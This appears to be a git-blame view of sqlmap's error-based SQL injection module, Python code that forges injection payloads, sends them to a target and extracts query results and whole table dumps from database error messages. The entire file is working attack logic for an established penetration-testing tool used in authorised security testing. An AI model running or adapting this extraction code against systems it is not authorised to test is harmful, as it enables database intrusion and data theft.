sqlmap/lib/techniques/error/use.py

439 lines
18 KiB
Python
Raw Normal View History

2010-10-20 13:09:04 +04:00
#!/usr/bin/env python
"""
2012-07-12 21:38:03 +04:00
Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
2010-10-20 13:09:04 +04:00
See the file 'doc/COPYING' for copying permission
"""
import re
import time
from extra.safe2bin.safe2bin import safecharencode
2010-10-20 13:09:04 +04:00
from lib.core.agent import agent
2012-02-16 13:46:41 +04:00
from lib.core.bigarray import BigArray
from lib.core.common import Backend
from lib.core.common import calculateDeltaSeconds
from lib.core.common import dataToStdout
from lib.core.common import decodeHexValue
2010-12-06 10:48:14 +03:00
from lib.core.common import extractRegexResult
from lib.core.common import getUnicode
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
2011-12-21 15:50:49 +04:00
from lib.core.common import incrementCounter
2010-12-18 12:51:34 +03:00
from lib.core.common import initTechnique
2012-06-14 17:38:53 +04:00
from lib.core.common import isListLike
from lib.core.common import isNumPosStrValue
from lib.core.common import listToStrValue
2011-12-23 00:42:57 +04:00
from lib.core.common import readInput
2012-12-19 04:46:23 +04:00
from lib.core.convert import hexdecode
from lib.core.convert import htmlunescape
2010-10-20 13:09:04 +04:00
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
2012-08-21 13:19:15 +04:00
from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import DBMS
from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD
from lib.core.settings import MYSQL_ERROR_CHUNK_LENGTH
from lib.core.settings import MSSQL_ERROR_CHUNK_LENGTH
from lib.core.settings import NULL
2012-07-06 17:36:32 +04:00
from lib.core.settings import PARTIAL_VALUE_MARKER
2011-12-23 00:42:57 +04:00
from lib.core.settings import SLOW_ORDER_COUNT_THRESHOLD
from lib.core.settings import SQL_SCALAR_REGEX
from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT
from lib.core.threads import getCurrentThreadData
from lib.core.threads import runThreads
2010-10-20 13:09:04 +04:00
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
def _oneShotErrorUse(expression, field=None):
2012-07-06 17:36:32 +04:00
offset = 1
partialValue = None
threadData = getCurrentThreadData()
2012-02-24 18:54:10 +04:00
retVal = hashDBRetrieve(expression, checkConf=True)
2012-07-06 17:36:32 +04:00
if retVal and PARTIAL_VALUE_MARKER in retVal:
partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue))
2012-07-06 17:36:32 +04:00
offset += len(partialValue)
2011-10-12 02:40:00 +04:00
2012-07-06 17:36:32 +04:00
threadData.resumed = retVal is not None and not partialValue
if Backend.isDbms(DBMS.MYSQL):
chunk_length = MYSQL_ERROR_CHUNK_LENGTH
elif Backend.isDbms(DBMS.MSSQL):
chunk_length = MSSQL_ERROR_CHUNK_LENGTH
else:
chunk_length = None
2012-07-06 17:36:32 +04:00
if retVal is None or partialValue:
try:
while True:
check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start)
if field:
nulledCastedField = agent.nullAndCastField(field)
2012-07-06 17:36:32 +04:00
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")): # skip chunking of scalar expression (unneeded)
extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
if extendedField != field: # e.g. MIN(surname)
nulledCastedField = extendedField.replace(field, nulledCastedField)
field = extendedField
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
2012-07-06 17:36:32 +04:00
# Forge the error-based SQL injection request
2012-12-05 13:45:17 +04:00
vector = kb.injection.data[kb.technique].vector
2012-07-06 17:36:32 +04:00
query = agent.prefixQuery(vector)
query = agent.suffixQuery(query)
injExpression = expression.replace(field, nulledCastedField, 1) if field else expression
2012-07-06 17:36:32 +04:00
injExpression = unescaper.unescape(injExpression)
injExpression = query.replace("[QUERY]", injExpression)
payload = agent.payload(newValue=injExpression)
# Perform the request
page, headers = Request.queryPage(payload, content=True)
2012-12-05 13:45:17 +04:00
incrementCounter(kb.technique)
2012-07-06 17:36:32 +04:00
# Parse the returned page to get the exact error-based
# SQL injection output
2012-12-10 20:13:00 +04:00
output = reduce(lambda x, y: x if x is not None else y, ( \
2012-07-06 17:36:32 +04:00
extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, listToStrValue(headers.headers \
if headers else None), re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
2012-12-10 20:13:00 +04:00
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \
2012-07-06 17:36:32 +04:00
None)
if output is not None:
2012-12-11 15:02:06 +04:00
output = getUnicode(output)
else:
2012-07-06 17:36:32 +04:00
trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, listToStrValue(headers.headers \
if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if trimmed:
warnMsg = "possible server trimmed output detected (due to its length): "
2012-07-30 23:43:32 +04:00
warnMsg += safecharencode(trimmed)
2012-07-06 17:36:32 +04:00
logger.warn(warnMsg)
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
if offset == 1:
retVal = output
else:
retVal += output if output else ''
if output and len(output) >= chunk_length:
offset += chunk_length
else:
break
if kb.fileReadMode and output:
dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))
else:
2012-07-06 17:36:32 +04:00
retVal = output
break
2012-07-06 17:36:32 +04:00
except:
hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER))
raise
2010-10-26 13:33:18 +04:00
retVal = decodeHexValue(retVal) if conf.hexConvert else retVal
if isinstance(retVal, basestring):
retVal = htmlunescape(retVal).replace("<br>", "\n")
retVal = _errorReplaceChars(retVal)
hashDBWrite(expression, retVal)
2010-10-20 13:09:04 +04:00
else:
2011-12-22 16:21:30 +04:00
_ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal
return safecharencode(retVal) if kb.safeCharEncode else retVal
def _errorFields(expression, expressionFields, expressionFieldsList, num=None, emptyFields=None):
outputs = []
origExpr = None
2011-10-12 02:40:00 +04:00
threadData = getCurrentThreadData()
for field in expressionFieldsList:
output = None
if field.startswith("ROWNUM "):
continue
if isinstance(num, int):
origExpr = expression
2011-02-07 19:24:23 +03:00
expression = agent.limitQuery(num, expression, field, expressionFieldsList[0])
if "ROWNUM" in expressionFieldsList:
expressionReplaced = expression
else:
expressionReplaced = expression.replace(expressionFields, field, 1)
output = NULL if emptyFields and field in emptyFields else _oneShotErrorUse(expressionReplaced, field)
if not kb.threadContinue:
return None
2012-07-06 16:33:40 +04:00
if kb.fileReadMode and output and output.strip():
2012-07-06 16:24:44 +04:00
print
elif output is not None and not (threadData.resumed and kb.suppressResumeInfo) and not (emptyFields and field in emptyFields):
logger.info("%s: %s" % ("resumed" if threadData.resumed else "retrieved", safecharencode(output)))
if isinstance(num, int):
expression = origExpr
outputs.append(output)
return outputs
def _errorReplaceChars(value):
"""
Restores safely replaced characters
"""
retVal = value
if value:
retVal = retVal.replace(kb.chars.space, " ").replace(kb.chars.dollar, "$").replace(kb.chars.at, "@").replace(kb.chars.hash_, "#")
return retVal
def _formatPartialContent(value):
2012-07-06 17:36:32 +04:00
"""
2012-12-19 04:46:23 +04:00
Prepares (possibly hex-encoded) partial content for safe console output
2012-07-06 17:36:32 +04:00
"""
if value and isinstance(value, basestring):
try:
2012-12-19 04:46:23 +04:00
value = hexdecode(value)
2012-07-06 17:36:32 +04:00
except:
pass
finally:
value = safecharencode(value)
2012-12-19 04:46:23 +04:00
2012-07-06 17:36:32 +04:00
return value
2012-07-12 18:38:43 +04:00
def errorUse(expression, dump=False):
"""
Retrieve the output of a SQL query taking advantage of the error-based
SQL injection vulnerability on the affected parameter.
"""
2012-12-05 13:45:17 +04:00
initTechnique(kb.technique)
2012-02-03 14:38:04 +04:00
abortedFlag = False
count = None
emptyFields = []
start = time.time()
startLimit = 0
stopLimit = None
output = None
2012-02-23 17:31:50 +04:00
outputs = None
untilLimitChar = None
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
# We have to check if the SQL query might return multiple entries
# and in such case forge the SQL limiting the query output one
# entry per time
# NOTE: I assume that only queries that get data from a table can
# return multiple entries
if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \
2012-02-07 16:05:23 +04:00
expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \
or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
limitCond = True
limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
limitRegExp2 = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query2, expression, re.I)
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
if limitGroupStart.isdigit():
if limitRegExp2:
startLimit = 0
stopLimit = limitRegExp2.group(int(limitGroupStart))
else:
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
if limitRegExp:
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif topLimit:
startLimit = 0
stopLimit = int(topLimit.group(1))
limitCond = int(stopLimit) > 1
elif Backend.isDbms(DBMS.ORACLE):
limitCond = False
# I assume that only queries NOT containing a "LIMIT #, 1"
# (or equivalent depending on the back-end DBMS) can return
# multiple entries
if limitCond:
if (limitRegExp or limitRegExp2) and stopLimit is not None:
stopLimit = int(stopLimit)
# From now on we need only the expression until the " LIMIT "
# (or equivalent, depending on the back-end DBMS) word
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
stopLimit += startLimit
untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
expression = expression[:untilLimitChar]
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
stopLimit += startLimit
elif dump:
if conf.limitStart:
startLimit = conf.limitStart - 1
if conf.limitStop:
stopLimit = conf.limitStop
# Count the number of SQL query entries output
countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)
2011-12-23 00:42:57 +04:00
if " ORDER BY " in expression:
2012-12-19 15:40:00 +04:00
_ = countedExpression.upper().rindex(" ORDER BY ")
countedExpression = countedExpression[:_]
_, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression)
count = _oneShotErrorUse(countedExpression, countedExpressionFields)
if isNumPosStrValue(count):
if isinstance(stopLimit, int) and stopLimit > 0:
stopLimit = min(int(count), int(stopLimit))
else:
stopLimit = int(count)
infoMsg = "the SQL query used returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif (not count or int(count) == 0):
2012-01-07 21:45:45 +04:00
if not count:
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
else:
outputs = [] # for empty tables
return outputs
2011-12-23 00:42:57 +04:00
if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD:
message = "due to huge table size do you want to remove "
message += "ORDER BY clause gaining speed over consistency? [y/N] "
output = readInput(message, default="N")
if output and output[0] in ("y", "Y"):
expression = expression[:expression.index(" ORDER BY ")]
2011-07-03 02:48:56 +04:00
threadData = getCurrentThreadData()
2011-07-26 00:17:44 +04:00
threadData.shared.limits = iter(xrange(startLimit, stopLimit))
numThreads = min(conf.threads, (stopLimit - startLimit))
threadData.shared.outputs = BigArray()
2012-12-18 19:03:35 +04:00
threadData.shared.buffered = []
threadData.shared.lastFlushed = startLimit - 1
if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD):
for field in expressionFieldsList:
if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0':
emptyFields.append(field)
debugMsg = "column '%s' of table '%s' will not be " % (field, kb.dumpTable)
debugMsg += "dumped as it appears to be empty"
logger.debug(debugMsg)
2011-07-03 02:48:56 +04:00
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
kb.suppressResumeInfo = True
debugMsg = "suppressing possible resume console info because of "
debugMsg += "large number of rows. It might take too long"
logger.debug(debugMsg)
2011-07-03 02:48:56 +04:00
try:
def errorThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
2012-06-14 17:50:36 +04:00
with kb.locks.limits:
try:
num = threadData.shared.limits.next()
except StopIteration:
break
output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields)
if not kb.threadContinue:
break
2012-12-10 20:13:00 +04:00
if output and isListLike(output) and len(output) == 1:
output = output[0]
2012-06-14 17:50:36 +04:00
with kb.locks.outputs:
2012-12-18 19:03:35 +04:00
index = None
for index in xrange(len(threadData.shared.buffered)):
if threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, output))
while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]:
threadData.shared.lastFlushed += 1
threadData.shared.outputs.append(threadData.shared.buffered[0][1])
del threadData.shared.buffered[0]
runThreads(numThreads, errorThread)
except KeyboardInterrupt:
2012-02-03 14:38:04 +04:00
abortedFlag = True
2011-04-06 18:40:45 +04:00
warnMsg = "user aborted during enumeration. sqlmap "
2011-03-31 18:13:53 +04:00
warnMsg += "will display partial output"
logger.warn(warnMsg)
finally:
2012-12-18 19:03:35 +04:00
threadData.shared.outputs.extend(_[1] for _ in sorted(threadData.shared.buffered))
outputs = threadData.shared.outputs
kb.suppressResumeInfo = False
2012-02-03 14:38:04 +04:00
if not outputs and not abortedFlag:
outputs = _errorFields(expression, expressionFields, expressionFieldsList)
2012-06-14 17:38:53 +04:00
if outputs and isListLike(outputs) and len(outputs) == 1 and isinstance(outputs[0], basestring):
outputs = outputs[0]
duration = calculateDeltaSeconds(start)
if not kb.bruteMode:
2012-12-05 13:45:17 +04:00
debugMsg = "performed %d queries in %d seconds" % (kb.counters[kb.technique], duration)
logger.debug(debugMsg)
return outputs